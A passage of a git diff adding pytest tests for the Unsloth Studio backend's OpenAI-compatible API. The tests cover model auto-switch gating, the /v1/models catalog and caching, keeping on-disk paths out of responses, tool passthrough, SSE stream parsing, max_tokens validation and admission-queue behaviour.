= [ + threading.Thread(target = _run, args = ("org/B-GGUF",)), + threading.Thread(target = _run, args = ("org/C-GGUF",)), + ] + for t in threads: + t.start() + for t in threads: + t.join() + + assert state["max"] == 1 # the gate serialized the two cross-loop swaps + assert sorted(loaded) == ["org/B-GGUF", "org/C-GGUF"] # both still swapped + + +def test_acquire_swap_gate_is_cancellation_safe(): + # A waiter cancelled while waiting for the gate (client disconnect mid-swap) + # must not leak it: after the holder releases, a fresh acquire still succeeds. + # The to_thread(acquire) approach would leak here -- its worker thread keeps + # acquiring after cancel, so the gate is taken but never released. + async def main(): + await inference_route._acquire_swap_gate() # this loop holds the gate + try: + + async def waiter(): + await inference_route._acquire_swap_gate() + + t = asyncio.create_task(waiter()) + await asyncio.sleep(0.05) # let it spin waiting on the held gate + t.cancel() + with pytest.raises(asyncio.CancelledError): + await t + finally: + inference_route._auto_switch_process_lock.release() + # Gate is free again (the cancelled waiter never acquired it). + await asyncio.wait_for(inference_route._acquire_swap_gate(), timeout = 1) + inference_route._auto_switch_process_lock.release() + + asyncio.run(asyncio.wait_for(main(), timeout = 5)) + + +def test_no_model_loaded_detail_appends_hint_only_when_off(monkeypatch): + # The "no model loaded" errors point at the opt-in auto-switch toggle so a + # request naming a listed-but-unloaded model is self-explanatory -- but only + # when it's off. With it on the name simply didn't resolve, so no hint. + base = "No GGUF model loaded. Load a GGUF model first." + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + off = inference_route._no_model_loaded_detail(base) + assert off.startswith(base) + assert "Model auto-switch" in off and "Settings > API" in off + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + assert inference_route._no_model_loaded_detail(base) == base + + +def _run_responses_stream_no_model(monkeypatch, *, enabled, active_model_name): + # Drive _responses_stream's GGUF-not-loaded guard: llama backend unloaded, + # inference backend maybe holding a non-GGUF model. Returns the 400 detail. + from fastapi import HTTPException + from models.inference import ResponsesRequest, ChatMessage + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: enabled) + monkeypatch.setattr( + inference_route, "get_llama_cpp_backend", lambda: _FakeBackend(loaded_id = None) + ) + monkeypatch.setattr( + inference_route, + "get_inference_backend", + lambda: type("_B", (), {"active_model_name": active_model_name})(), + ) + payload = ResponsesRequest(model = "unsloth/Qwen3.5-4B-GGUF", stream = True) + messages = [ChatMessage(role = "user", content = "hi")] + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route._responses_stream(payload, messages, None)) + assert exc.value.status_code == 400 + return exc.value.detail + + +def test_responses_stream_hint_matches_toggle_regardless_of_active_model(monkeypatch): + # Streaming /v1/responses shares the GGUF-only 400 with the other "no model + # loaded" sites, so the auto-switch hint attaches whenever the toggle is + # off -- including while a non-GGUF model is active, since auto-switch + # evicts it to load a resolved GGUF (_maybe_auto_switch_model's resolver + # branch has no active-model guard, unlike its reload-stash branch). Only + # the toggle being on suppresses it. + hinted = _run_responses_stream_no_model(monkeypatch, enabled = False, active_model_name = None) + assert "Model auto-switch" in hinted + + on = _run_responses_stream_no_model(monkeypatch, enabled = True, active_model_name = None) + assert "Model auto-switch" not in on + + non_gguf_loaded = _run_responses_stream_no_model( + monkeypatch, enabled = False, active_model_name = "unsloth/Llama-3.2-1B-Instruct" + ) + assert "Model auto-switch" in non_gguf_loaded diff --git a/studio/backend/tests/test_openai_catalog.py b/studio/backend/tests/test_openai_catalog.py new file mode 100644 index 0000000000..552f122ebb --- /dev/null +++ b/studio/backend/tests/test_openai_catalog.py @@ -0,0 +1,207 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""GET /v1/models lists the full server catalog (loaded + locally available).""" + +import asyncio +import json +import sys +from pathlib import Path + +_BACKEND = Path(__file__).resolve().parents[1] +if str(_BACKEND) not in sys.path: + sys.path.insert(0, str(_BACKEND)) + +import routes.inference as inf # noqa: E402 +from core.inference import local_model_resolver as resolver # noqa: E402 + + +class _Info: + def __init__( + self, + id, + display_name, + model_id = None, + is_gguf = True, + ): + self.id = id + self.display_name = display_name + self.model_id = model_id + self.is_gguf = is_gguf # drives the files-based GGUF check in the test + + +class _FakeLlama: + is_loaded = True + model_identifier = "/srv/models/Qwen3-Q4.gguf" + context_length = 4096 + max_context_length = None + native_context_length = None + + def __init__(self, loaded = True): + self.is_loaded = loaded + + +class _FakeUnsloth: + active_model_name = None + models: dict = {} + context_length = None + max_seq_length = None + + +def test_catalog_lists_loaded_and_available(monkeypatch): + monkeypatch.setattr(inf, "get_llama_cpp_backend", lambda: _FakeLlama()) + monkeypatch.setattr(inf, "get_inference_backend", lambda: _FakeUnsloth()) + + async def _fake_catalog(): + return [ + _Info("/data/models/Qwen3-Q4.gguf", "Qwen3-Q4"), # same as loaded -> dedup + _Info("/data/models/Llama-8B-Q8.gguf", "Llama-8B-Q8"), # available, not loaded + # HF-cache GGUF: model_format is unset for these, so a files-based check + # (not model_format) must still list it. + _Info("models--org--Foo", "Foo", model_id = "org/Foo"), + # Non-GGUF (safetensors) can't be served via /v1: must NOT be advertised. + _Info("/data/models/Mistral-7B", "Mistral-7B", is_gguf = False), + ] + + monkeypatch.setattr(inf, "_cached_local_catalog", _fake_catalog) + # GGUF-ness is read from the on-disk files; drive it off each info's flag here. + monkeypatch.setattr(resolver, "info_has_local_gguf", lambda info: info.is_gguf) + + data = asyncio.run(inf._openai_catalog_objects()) + ids = {m["id"]: m for m in data} + + # Loaded model is present, marked loaded, and keeps context fields. + assert ids["Qwen3-Q4"]["loaded"] is True + assert ids["Qwen3-Q4"]["context_length"] == 4096 + # Available-but-not-loaded GGUF models are listed too. + assert ids["Llama-8B-Q8"]["loaded"] is False + # The HF-cache GGUF is listed despite model_format being unset. + assert ids["org/Foo"]["loaded"] is False + # The non-GGUF model is filtered out (/v1 can never serve it). + assert "Mistral-7B" not in ids + # The loaded gguf and the on-disk copy collapse to one clean id. + assert [m["id"] for m in data].count("Qwen3-Q4") == 1 + # No absolute paths or .gguf suffixes leak anywhere. + blob = json.dumps(data) + assert ".gguf" not in blob + assert "/srv/" not in blob + assert "/data/" not in blob + + +def test_catalog_lock_is_per_loop(): + # Codex P2: a module-level asyncio.Lock ties its waiters to the loop that first + # awaited it, so a second event loop awaiting it in a multi-loop process can + # hang. The catalog lock must be per-loop (distinct lock per running loop), and + # the old shared _CATALOG_LOCK must be gone so it can't be reintroduced. + async def _get(): + return inf._catalog_lock() + + a = asyncio.run(_get()) + b = asyncio.run(_get()) # a fresh event loop + assert a is not b + assert not hasattr(inf, "_CATALOG_LOCK") + + +def test_empty_and_errored_scans_are_cached(monkeypatch): + # Cache validity is keyed on the timestamp, not list contents, so an empty + # (fresh install / no local models) or errored scan is still cached for the + # TTL instead of rescanning the filesystem on every /v1/models poll. + import routes.models as models_mod + for outcome in ("empty", "error"): + calls = {"n": 0} + + def _scan(_root, _outcome = outcome): + calls["n"] += 1 + if _outcome == "error": + raise RuntimeError("scan blew up") + return [] + + monkeypatch.setattr(models_mod, "collect_local_models", _scan) + monkeypatch.setattr(inf, "_CATALOG_CACHE", {"at": 0.0, "models": []}) + + async def _run(): + return [await inf._cached_local_catalog() for _ in range(3)] + + results = asyncio.run(_run()) + assert results == [[], [], []], outcome + assert calls["n"] == 1, f"{outcome} scan ran {calls['n']}x (TTL not honored)" + + +def test_catalog_ttl_starts_after_scan_completes(monkeypatch): + # The cache timestamp must be taken AFTER the scan, not before it. A scan that + # outlives the TTL would otherwise leave the cache born-expired, so the next + # caller rescans instead of reusing the just-computed catalog. + import routes.models as models_mod + + clock = {"t": 1000.0} + monkeypatch.setattr(inf.time, "monotonic", lambda: clock["t"]) + monkeypatch.setattr(inf, "_CATALOG_CACHE", {"at": 0.0, "models": []}) + + calls = {"n": 0} + + def _slow_scan(_root): + calls["n"] += 1 + clock["t"] += inf._CATALOG_TTL_S + 10 # the scan itself outlives the TTL + return [_Info("/m/A.gguf", "A")] + + monkeypatch.setattr(models_mod, "collect_local_models", _slow_scan) + + async def _run(): + first = await inf._cached_local_catalog() + second = await inf._cached_local_catalog() # clock unchanged since scan end + return first, second + + first, second = asyncio.run(_run()) + assert [i.id for i in first] == ["/m/A.gguf"] + assert calls["n"] == 1, "TTL started before the scan -> cache born expired, rescanned" + + +def test_retrieve_loaded_model_skips_catalog_scan(monkeypatch): + # Retrieving a loaded id must resolve from the loaded set alone, never paying + # for the filesystem scan that _cached_local_catalog drives. + monkeypatch.setattr(inf, "get_llama_cpp_backend", lambda: _FakeLlama()) + monkeypatch.setattr(inf, "get_inference_backend", lambda: _FakeUnsloth()) + + async def _boom(): + raise AssertionError("catalog scan must not run for a loaded id") + + monkeypatch.setattr(inf, "_cached_local_catalog", _boom) + + model = asyncio.run(inf.openai_retrieve_model("Qwen3-Q4", current_subject = "t")) + assert model["id"] == "Qwen3-Q4" + assert model["loaded"] is True + + +def test_cached_local_catalog_offloads_and_caches(monkeypatch): + # The filesystem scan must run off the event loop (asyncio.to_thread) and be + # cached, so a burst of /v1/models calls does not re-scan or block. + calls = {"scan": 0, "threaded": 0} + + def _fake_collect(_root): + calls["scan"] += 1 + return [_Info("/data/models/A.gguf", "A")] + + import routes.models as models_mod + + monkeypatch.setattr(models_mod, "collect_local_models", _fake_collect) + + real_to_thread = inf.asyncio.to_thread + + async def _counting_to_thread(fn, *a, **k): + calls["threaded"] += 1 + return await real_to_thread(fn, *a, **k) + + monkeypatch.setattr(inf.asyncio, "to_thread", _counting_to_thread) + # Fresh cache for a deterministic count. + monkeypatch.setattr(inf, "_CATALOG_CACHE", {"at": 0.0, "models": []}) + + async def _run(): + first = await inf._cached_local_catalog() + second = await inf._cached_local_catalog() # within TTL -> cached + return first, second + + first, second = asyncio.run(_run()) + assert [i.id for i in first] == ["/data/models/A.gguf"] + assert second is first or [i.id for i in second] == [i.id for i in first] + assert calls["scan"] == 1 # cached: scanned once for two calls + assert calls["threaded"] == 1 # offloaded to a worker thread diff --git a/studio/backend/tests/test_openai_models_path_leak.py b/studio/backend/tests/test_openai_models_path_leak.py new file mode 100644 index 0000000000..a84a33f840 --- /dev/null +++ b/studio/backend/tests/test_openai_models_path_leak.py @@ -0,0 +1,45 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""GET /v1/models must report a clean public id, never the on-disk .gguf path.""" + +import json +import sys +from pathlib import Path + +_BACKEND = Path(__file__).resolve().parents[1] +if str(_BACKEND) not in sys.path: + sys.path.insert(0, str(_BACKEND)) + +import routes.inference as inf # noqa: E402 + + +class _FakeLlama: + is_loaded = True + model_identifier = "/srv/models/Qwen3-30B-A3B-Q4_K_M.gguf" + context_length = 4096 + max_context_length = None + native_context_length = None + + +class _FakeUnsloth: + active_model_name = None + models: dict = {} + context_length = None + max_seq_length = None + + +def test_openai_models_returns_clean_id_without_path(monkeypatch): + monkeypatch.setattr(inf, "get_llama_cpp_backend", lambda: _FakeLlama()) + monkeypatch.setattr(inf, "get_inference_backend", lambda: _FakeUnsloth()) + + objs = inf._openai_model_objects() + + assert len(objs) == 1 + assert objs[0]["id"] == "Qwen3-30B-A3B-Q4_K_M" + # The serialized payload must not leak the absolute path or the .gguf suffix. + blob = json.dumps(objs) + assert "/srv/models" not in blob + assert ".gguf" not in blob + # Context fields still flow through. + assert objs[0]["context_length"] == 4096 diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py index 2586076321..910818d7d8 100644 --- a/studio/backend/tests/test_openai_tool_passthrough.py +++ b/studio/backend/tests/test_openai_tool_passthrough.py @@ -8,6 +8,7 @@ import sys import asyncio import json import threading +import time from types import SimpleNamespace _backend = os.path.join(os.path.dirname(__file__), "..") @@ -29,7 +30,17 @@ from core.inference.anthropic_compat import ( anthropic_tool_choice_to_openai, ) from core.inference.api_monitor import ApiMonitor +from core.inference.llama_admission import ( + ADMISSION_KEEPALIVE_INTERVAL_ENV, + ADMISSION_MAX_QUEUE_ENV, + ADMISSION_QUEUE_TIMEOUT_ENV, + LlamaAdmissionCancelled, + LlamaAdmissionConfig, + get_llama_admission_queue, + reset_llama_admission_queues, +) from routes.inference import ( + _aclose_stream_resources, _build_chat_request, _build_openai_passthrough_body, _build_passthrough_payload, @@ -38,22 +49,95 @@ from routes.inference import ( _coalesce_consecutive_user_turns, _drop_empty_assistant_sentinels, _effective_max_tokens, + _effective_openai_max_tokens, + _effective_openai_max_tokens_from_values, _extract_content_parts, _friendly_error, + _friendly_upstream_error, _merge_user_content, _monitor_openai_chunk, _monitor_openai_sse_event, + _normalize_openai_passthrough_sse_line, + _openai_compat_stream_stall_timeout, + _openai_llama_admission_capacity, _openai_messages_for_gguf_chat, + _openai_passthrough_sse_line_terminal_state, + _openai_passthrough_upstream_headers, _openai_passthrough_non_streaming, _openai_passthrough_stream, + _responses_stream, + _openai_stream_error_sse, _openai_stream_usage_chunk, + _openai_admission_wait_stream_chunks, + _wait_for_openai_admission_non_streaming, _proxy_to_external_provider, + _SameTaskStreamingResponse, + _OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, _set_or_prepend_system_message, openai_completions, openai_embeddings, openai_chat_completions, ) -from state.tool_policy import reset_tool_policy +from state.tool_policy import reset_tool_policy, set_tool_policy + + +@pytest.fixture(autouse = True) +def _reset_admission_queues(): + reset_llama_admission_queues() + yield + reset_llama_admission_queues() + + +def test_aclose_stream_resources_attempts_remaining_closes_after_cancel(): + class Closeable: + def __init__(self, *, cancel = False): + self.cancel = cancel + self.closed = False + + async def aclose(self): + self.closed = True + if self.cancel: + raise asyncio.CancelledError() + + async def _run(): + iterator = Closeable(cancel = True) + resp = Closeable() + client = Closeable() + + with pytest.raises(asyncio.CancelledError): + await _aclose_stream_resources(iterator = iterator, resp = resp, client = client) + + assert iterator.closed + assert resp.closed + assert client.closed + + asyncio.run(_run()) + + +class TestFriendlyUpstreamError: + def test_grammar_parse_failure_gets_actionable_message(self): + raw = '{"error":{"code":400,"message":"Failed to initialize samplers: failed to parse grammar","type":"invalid_request_error"}}' + msg = _friendly_upstream_error(raw) + assert "failed to parse grammar" not in msg # raw body is not surfaced verbatim + assert "tool-calling grammar" in msg and "Update Studio" in msg + + def test_failed_to_initialize_samplers_alone_matches(self): + assert "tool-calling grammar" in _friendly_upstream_error("Failed to initialize samplers") + + def test_unrelated_error_passes_through(self): + assert _friendly_upstream_error("out of memory") == "llama-server error: out of memory" + + def test_openai_passthrough_error_rewrites_grammar_failure(self): + # OpenAI-compatible agents (opencode/openclaw/hermes/pi via /v1/chat/completions) + # get the same actionable message as the Anthropic passthrough, not the raw body. + from routes.inference import _openai_passthrough_error + + exc = _openai_passthrough_error( + 400, '{"error":{"message":"Failed to initialize samplers: failed to parse grammar"}}' + ) + assert "tool-calling grammar" in exc.detail + # An unrelated upstream error still passes through verbatim. + assert "llama-server error:" in _openai_passthrough_error(500, "disk full").detail # ===================================================================== @@ -520,6 +604,263 @@ class TestChatCompletionRequestToolFields: assert "n > 1 is not supported" in entry["error"] assert monitor.active_count() == 0 + def test_client_tools_rejected_when_gguf_template_has_no_tool_support(self, monkeypatch): + import routes.inference as inference_route + + class _GGUFBackend: + is_loaded = True + model_identifier = "test-gguf" + supports_tools = False + is_vision = False + _is_audio = False + context_length = 4096 + + def generate_chat_completion(self, **_kwargs): + raise AssertionError("client tools must not fall through to the standard GGUF path") + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inference_route, "api_monitor", monitor) + client = self._v1_client(monkeypatch, _GGUFBackend()) + resp = client.post( + "/v1/chat/completions", + json = { + "messages": [{"role": "user", "content": "hi"}], + "tools": [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object"}, + }, + } + ], + }, + ) + + self._assert_unsupported_param(resp, "tools") + assert "does not advertise tools" in resp.json()["error"]["message"] + [entry] = monitor.snapshot() + assert entry["status"] == "error" + assert "does not advertise tools" in entry["error"] + assert monitor.active_count() == 0 + + def test_client_tools_use_passthrough_capability_when_tool_loop_is_disabled(self, monkeypatch): + import routes.inference as inference_route + + captured = {} + + class _GGUFBackend: + is_loaded = True + model_identifier = "test-gguf" + supports_tools = False + supports_tool_passthrough = True + is_vision = False + _is_audio = False + context_length = 4096 + base_url = "http://llama.passthrough-capability.test" + _request_reasoning_kwargs = lambda *_args, **_kwargs: None + + def generate_chat_completion(self, **_kwargs): + raise AssertionError("client tools must use passthrough") + + def generate_chat_completion_with_tools(self, **_kwargs): + raise AssertionError("Studio tool loop must stay disabled") + + async def fake_passthrough(llama_backend, payload, model_name, **kwargs): + captured["body"] = inference_route._build_openai_passthrough_body( + payload, + backend_ctx = llama_backend.context_length, + llama_backend = llama_backend, + ) + inference_route.api_monitor.finish(kwargs.get("monitor_id")) + return inference_route.JSONResponse({"ok": True, "model": model_name}) + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inference_route, "api_monitor", monitor) + monkeypatch.setattr( + inference_route, + "_openai_passthrough_non_streaming", + fake_passthrough, + ) + client = self._v1_client(monkeypatch, _GGUFBackend()) + resp = client.post( + "/v1/chat/completions", + json = { + "messages": [{"role": "user", "content": "use client tool"}], + "tools": [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object"}, + }, + } + ], + }, + ) + + assert resp.status_code == 200 + assert resp.json()["ok"] is True + assert captured["body"]["tools"][0]["function"]["name"] == "lookup" + [entry] = monitor.snapshot() + assert entry["status"] == "completed" + assert monitor.active_count() == 0 + + def test_enable_tools_on_non_tool_backend_keeps_client_tools_on_passthrough(self, monkeypatch): + # DiffusionGemma forces supports_tools off while passthrough stays + # available (#6851): enable_tools=True must not steal client tools + # from the passthrough into a Studio tool loop that cannot run. + import routes.inference as inference_route + + captured = {} + + class _GGUFBackend: + is_loaded = True + model_identifier = "test-gguf" + supports_tools = False + supports_tool_passthrough = True + is_vision = False + _is_audio = False + context_length = 4096 + base_url = "http://llama.passthrough-capability.test" + _request_reasoning_kwargs = lambda *_args, **_kwargs: None + + def generate_chat_completion(self, **_kwargs): + raise AssertionError("client tools must use passthrough") + + def generate_chat_completion_with_tools(self, **_kwargs): + raise AssertionError("Studio tool loop cannot run on a non-tool backend") + + async def fake_passthrough(llama_backend, payload, model_name, **kwargs): + captured["body"] = inference_route._build_openai_passthrough_body( + payload, + backend_ctx = llama_backend.context_length, + llama_backend = llama_backend, + ) + inference_route.api_monitor.finish(kwargs.get("monitor_id")) + return inference_route.JSONResponse({"ok": True, "model": model_name}) + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inference_route, "api_monitor", monitor) + monkeypatch.setattr( + inference_route, + "_openai_passthrough_non_streaming", + fake_passthrough, + ) + client = self._v1_client(monkeypatch, _GGUFBackend()) + resp = client.post( + "/v1/chat/completions", + json = { + "messages": [{"role": "user", "content": "use client tool"}], + "enable_tools": True, + "tools": [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object"}, + }, + } + ], + }, + ) + + assert resp.status_code == 200 + assert resp.json()["ok"] is True + assert captured["body"]["tools"][0]["function"]["name"] == "lookup" + [entry] = monitor.snapshot() + assert entry["status"] == "completed" + assert monitor.active_count() == 0 + + def test_tool_choice_none_allows_tool_catalog_without_tool_template(self, monkeypatch): + import routes.inference as inference_route + + class _GGUFBackend: + is_loaded = True + model_identifier = "test-gguf" + supports_tools = False + is_vision = False + _is_audio = False + context_length = 4096 + + def generate_chat_completion(self, **kwargs): + assert kwargs["max_tokens"] is None + yield "plain response" + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inference_route, "api_monitor", monitor) + client = self._v1_client(monkeypatch, _GGUFBackend()) + resp = client.post( + "/v1/chat/completions", + json = { + "messages": [{"role": "user", "content": "hi"}], + "tools": [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object"}, + }, + } + ], + "tool_choice": "none", + }, + ) + + assert resp.status_code == 200 + assert resp.json()["choices"][0]["message"]["content"] == "plain response" + [entry] = monitor.snapshot() + assert entry["status"] == "completed" + assert entry["reply"] == "plain response" + assert monitor.active_count() == 0 + + def test_tool_call_history_rejected_when_gguf_template_has_no_tool_support(self, monkeypatch): + import routes.inference as inference_route + + class _GGUFBackend: + is_loaded = True + model_identifier = "test-gguf" + supports_tools = False + is_vision = False + _is_audio = False + context_length = 4096 + + def generate_chat_completion(self, **_kwargs): + raise AssertionError( + "tool-call history must not fall through to the standard GGUF path" + ) + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inference_route, "api_monitor", monitor) + client = self._v1_client(monkeypatch, _GGUFBackend()) + resp = client.post( + "/v1/chat/completions", + json = { + "messages": [ + {"role": "user", "content": "use a tool"}, + { + "role": "assistant", + "content": None, + "tool_calls": [ + { + "id": "call_1", + "type": "function", + "function": {"name": "lookup", "arguments": "{}"}, + } + ], + }, + {"role": "tool", "tool_call_id": "call_1", "content": "{}"}, + ], + }, + ) + + self._assert_unsupported_param(resp, "messages") + assert "does not advertise tools" in resp.json()["error"]["message"] + [entry] = monitor.snapshot() + assert entry["status"] == "error" + assert "does not advertise tools" in entry["error"] + assert monitor.active_count() == 0 + def test_n_rejected_for_non_gguf_path(self, monkeypatch): class _NoGGUFBackend: is_loaded = False @@ -720,11 +1061,32 @@ class TestBuildPassthroughPayloadToolChoice: ) assert body.get("stream_options") == {"include_usage": False} + def test_response_format_without_tools_omits_tool_fields(self): + args = self._args() + args["openai_tools"] = None + + body = _build_passthrough_payload( + **args, + response_format = {"type": "json_object"}, + ) + + assert body["response_format"] == {"type": "json_object"} + assert "tools" not in body + assert "tool_choice" not in body + def test_repetition_penalty_renamed(self): body = _build_passthrough_payload(**self._args(), repetition_penalty = 1.1) assert body.get("repeat_penalty") == 1.1 assert "repetition_penalty" not in body + def test_omitted_passthrough_max_tokens_uses_backend_context(self): + args = self._args() + args["max_tokens"] = None + + body = _build_passthrough_payload(**args, backend_ctx = 4096) + + assert body["max_tokens"] == 4096 + def test_passthrough_body_merges_system_and_developer_messages(self): payload = ChatCompletionRequest( model = "default", @@ -744,6 +1106,74 @@ class TestBuildPassthroughPayloadToolChoice: ] +class TestOpenAIPassthroughSSETerminalState: + def test_done_sentinel(self): + assert _openai_passthrough_sse_line_terminal_state("data: [DONE]") == "done" + + def test_finish_reason_with_space(self): + line = 'data: {"choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}' + assert _openai_passthrough_sse_line_terminal_state(line) == "finish" + + def test_finish_reason_without_space(self): + line = 'data:{"choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}' + assert _openai_passthrough_sse_line_terminal_state(line) == "finish" + + def test_usage_chunk(self): + line = 'data: {"choices":[],"usage":{"prompt_tokens":1,"completion_tokens":2}}' + assert _openai_passthrough_sse_line_terminal_state(line) == "usage" + + def test_error_chunk(self): + line = 'data: {"error":{"message":"boom"}}' + assert _openai_passthrough_sse_line_terminal_state(line) == "error" + + def test_cap_parallel_tool_calls_accepts_no_space_after_data_colon(self): + line = ( + 'data:{"choices":[{"delta":{"tool_calls":[' + '{"index":0,"function":{"name":"a"}},' + '{"index":1,"function":{"name":"b"}}]}}]}' + ) + + capped = _normalize_openai_passthrough_sse_line(line, cap_parallel_tool_calls = True) + + data = json.loads(capped[len("data:") :].lstrip()) + assert data["choices"][0]["delta"]["tool_calls"] == [ + {"index": 0, "function": {"name": "a"}} + ] + + def test_plain_content_line_is_returned_identically(self): + # The relay dispatches terminal classification on `out_line is raw_line`, + # so the no-mutation path must return the identical string object. + line = 'data: {"choices":[{"index":0,"delta":{"content":"hello"},"finish_reason":null}]}' + assert _normalize_openai_passthrough_sse_line(line) is line + assert _normalize_openai_passthrough_sse_line(line, cap_parallel_tool_calls = True) is line + + def test_reasoning_key_inside_content_text_keeps_line_identical(self): + # Fast-path substring gate fires, but the parse finds nothing to change: + # the original object must come back so the relay stays byte-identical. + line = ( + 'data: {"choices":[{"index":0,"delta":{"content":' + '"mentions \\"reasoning_content\\" in text"},"finish_reason":null}]}' + ) + assert _normalize_openai_passthrough_sse_line(line) is line + + def test_reasoning_only_delta_gets_empty_content(self): + line = ( + 'data: {"choices":[{"index":0,' + '"delta":{"reasoning_content":"thinking"},' + '"finish_reason":null}]}' + ) + + normalized = _normalize_openai_passthrough_sse_line(line) + + data = json.loads(normalized[len("data:") :].lstrip()) + delta = data["choices"][0]["delta"] + assert delta["reasoning_content"] == "thinking" + assert delta["content"] == "" + + def test_reasoning_normalization_preserves_done_sentinel(self): + assert _normalize_openai_passthrough_sse_line("data: [DONE]") == "data: [DONE]" + + # ===================================================================== # Passthrough reasoning kwargs — enable_thinking / reasoning_effort / # preserve_thinking must reach llama-server via chat_template_kwargs, @@ -864,6 +1294,172 @@ class TestOpenAICompatibilityHelpers: payload = SimpleNamespace(max_tokens = 128, max_completion_tokens = 64) assert _effective_max_tokens(payload) == 64 + def test_openai_compat_max_tokens_returns_none_when_omitted(self): + payload = SimpleNamespace(max_tokens = None, max_completion_tokens = None) + assert _effective_openai_max_tokens(payload) is None + + @pytest.mark.parametrize( + ("payload", "expected"), + [ + (SimpleNamespace(max_tokens = 8192, max_completion_tokens = None), 8192), + (SimpleNamespace(max_tokens = 8192, max_completion_tokens = 256), 256), + ], + ) + def test_openai_compat_explicit_values_pass_through(self, payload, expected): + assert _effective_openai_max_tokens(payload) == expected + + @pytest.mark.parametrize( + ("payload", "param"), + [ + (SimpleNamespace(max_tokens = "128", max_completion_tokens = None), "max_tokens"), + (SimpleNamespace(max_tokens = True, max_completion_tokens = None), "max_tokens"), + (SimpleNamespace(max_tokens = 12.5, max_completion_tokens = None), "max_tokens"), + ( + SimpleNamespace(max_tokens = None, max_completion_tokens = "128"), + "max_completion_tokens", + ), + ], + ) + def test_openai_compat_max_tokens_rejects_non_integer_explicit_values(self, payload, param): + with pytest.raises(HTTPException) as exc: + _effective_openai_max_tokens(payload) + + assert exc.value.status_code == 400 + assert exc.value.detail["error"]["param"] == param + assert exc.value.detail["error"]["code"] == "invalid_type" + + def test_openai_compat_max_tokens_zero_is_valid_and_negative_rejected(self): + # Legacy completions spec: max_tokens has minimum 0, so 0 must pass + # through; only negatives are invalid_value. + assert _effective_openai_max_tokens_from_values(0) == 0 + + with pytest.raises(HTTPException) as exc: + _effective_openai_max_tokens_from_values(-1) + + assert exc.value.status_code == 400 + assert exc.value.detail["error"]["code"] == "invalid_value" + assert exc.value.detail["error"]["param"] == "max_tokens" + + def test_chat_reasoning_chunk_carries_empty_content(self): + from routes.inference import _chat_reasoning_chunk + + line = _chat_reasoning_chunk("chatcmpl-test", 123, "gguf", "thinking...") + chunk = json.loads(line[len("data: ") :]) + delta = chunk["choices"][0]["delta"] + + assert delta["reasoning_content"] == "thinking..." + assert delta["content"] == "" + + def test_passthrough_upstream_headers_include_backend_auth(self): + headers = _openai_passthrough_upstream_headers( + llama_backend = SimpleNamespace(_auth_headers = {"Authorization": "Bearer secret"}), + ) + + assert headers["Authorization"] == "Bearer secret" + assert headers["Connection"] == "close" + + def test_openai_admission_capacity_prefers_backend_effective_slots(self): + request = SimpleNamespace( + app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1)) + ) + backend = SimpleNamespace(effective_parallel_slots = 3) + + assert _openai_llama_admission_capacity(request, backend) == 3 + + @pytest.mark.parametrize("backend_value", [None, 0, -1, "not-an-int"]) + def test_openai_admission_capacity_falls_back_to_app_state(self, backend_value): + request = SimpleNamespace( + app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 2)) + ) + backend = SimpleNamespace(effective_parallel_slots = backend_value) + + assert _openai_llama_admission_capacity(request, backend) == 2 + + def test_openai_admission_capacity_falls_back_to_one_without_request(self): + assert _openai_llama_admission_capacity(None, SimpleNamespace()) == 1 + + def test_openai_admission_non_streaming_exits_invalidated_waiter(self): + async def _run(): + queue = get_llama_admission_queue("http://llama.invalidated.test") + blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + assert blocker is not None + reservation = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()) + assert reservation._waiter is not None + + reservation._waiter.future.cancel() + + with pytest.raises(LlamaAdmissionCancelled): + await asyncio.wait_for( + _wait_for_openai_admission_non_streaming( + reservation, + LlamaAdmissionConfig(), + request = None, + cancel_event = None, + ), + timeout = 0.1, + ) + + blocker.release() + snapshot = queue.snapshot() + assert snapshot.active == 0 + assert snapshot.queued == 0 + + asyncio.run(_run()) + + def test_openai_admission_stream_exits_invalidated_waiter(self): + async def _run(): + queue = get_llama_admission_queue("http://llama.invalidated.stream.test") + blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + assert blocker is not None + reservation = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()) + assert reservation._waiter is not None + + reservation._waiter.future.cancel() + + chunks = _openai_admission_wait_stream_chunks( + reservation, + LlamaAdmissionConfig(), + request = None, + cancel_event = None, + ) + with pytest.raises(LlamaAdmissionCancelled): + await asyncio.wait_for(chunks.__anext__(), timeout = 0.1) + + blocker.release() + snapshot = queue.snapshot() + assert snapshot.active == 0 + assert snapshot.queued == 0 + + asyncio.run(_run()) + + def test_openai_compat_stream_stall_timeout_uses_default(self, monkeypatch): + monkeypatch.delenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, raising = False) + assert _openai_compat_stream_stall_timeout() == 120.0 + + def test_openai_compat_stream_stall_timeout_uses_env_override(self, monkeypatch): + monkeypatch.setenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, "4.5") + assert _openai_compat_stream_stall_timeout() == 4.5 + + 